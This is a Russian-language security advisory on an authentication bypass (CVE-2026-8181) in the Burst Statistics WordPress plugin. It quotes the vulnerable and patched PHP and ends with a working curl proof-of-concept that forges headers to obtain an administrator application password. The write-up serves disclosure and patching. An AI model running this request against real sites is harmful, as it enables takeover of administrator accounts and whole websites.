
Плагин для WordPress Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) уязвим к обходу аутентификации.
Краткое описание уязвимости
Плагин WordPress Burst Statistics версий с 3.4.0 по 3.4.1.1 уязвим к неаутентифицированному обходу аутентификации, что приводит к полному захвату учетной записи администратора. Эта критическая ошибка позволяет неаутентифицированному злоумышленнику, знающему любое имя пользователя администратора, сгенерировать действующий пароль приложения WordPress для этой учетной записи за один HTTP-запрос, получая постоянный доступ уровня администратора ко всему сайту.
Уязвимость возникает из-за функции is_mainwp_authenticated() в файле class-mainwp-proxy.php. Эта функция вызывает wp_authenticate_application_password() и проверяет только то, является ли результат WP_Error. Она не проверяет, является ли результат на самом деле успешным объектом WP_User. Когда внутренний фильтр WordPress application_password_is_api_request возвращает false — что происходит при вызове вне обычного потока аутентификации REST API — функция WordPress возвращает null вместо WP_Error или WP_User. Поскольку null не является WP_Error, проверка проходит, и выбранный злоумышленником пользователь-администратор устанавливается как текущий пользователь через wp_set_current_user().
Как только текущий пользователь становится администратором, последующие проверки прав доступа проходят. Затем злоумышленник может обратиться к REST-эндпоинту /burst/v1/mainwp-auth, который создает пароль приложения WordPress для учетной записи администратора и возвращает его в ответе. Это дает злоумышленнику постоянный полный доступ уровня администратора.
Затронутый плагин
| Поле | Значение |
|---|---|
| Название плагина | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Идентификатор плагина | burst-statistics |
| Затронутые версии | 3.4.0 – 3.4.1.1 |
| Исправленная версия | 3.4.2 |
| Идентификатор CVE | CVE-2026-8181 |
| Оценка CVSS | 9.8 (Critical) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Тип уязвимости | Обход аутентификации (Некорректная аутентификация) |
| CWE | CWE-287 — Improper Authentication |
| Воздействие | Полный захват сайта — Захват учетной записи администратора |
Что могут сделать злоумышленники
| Возможность | Воздействие |
|---|---|
| Создание пароля приложения для любого администратора | Постоянный доступ администратора |
| Создание новых учетных записей администратора через REST API | Размножение учетных записей |
| Установка плагинов/тем | Удаленное выполнение кода |
| Редактирование записей, страниц и настроек | Дефейс сайта |
| Экспорт или удаление всех данных сайта | Уничтожение/Эксфильтрация данных |
| Доступ к данным WooCommerce/клиентов | Утечка данных |
Технический анализ
Burst Statistics инициализируется во время хука plugins_loaded WordPress с приоритетом 9 внутри файла class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() является шлюзом для всего функционала администратора. Она проверяет заголовок X-BurstMainWP и вызывает уязвимую функцию:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() возвращает nullВнутренняя функция WordPress wp_authenticate_application_password() имеет фильтр:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
При вызове вне потока аутентификации REST API она возвращает null. Код Burst Statistics проверял только is_wp_error($is_valid) — null не является WP_Error, поэтому проверка некорректно проходит.
X-BurstMainWP: 1 с любым запросомhas_admin_access() запускает is_mainwp_authenticated()wp_authenticate_application_password() возвращает null (не в контексте API)is_wp_error(null) = false → проверка проходитwp_set_current_user($admin_id)/burst/v1/mainwp-authhandle_auth_request() создает пароль приложения WordPressbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Примененные исправления:
application_password_is_api_request в true, чтобы происходила фактическая проверка пароляWP_User (а не null)hash_equals() для проверки совпадения имени пользователяКроме того, функция check_auth_permission() для REST-эндпоинта была усилена, чтобы требовать current_user_can('manage_burst_statistics') и явную проверку nonce для запросов, аутентифицированных через cookie.
Доказательство концепции
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev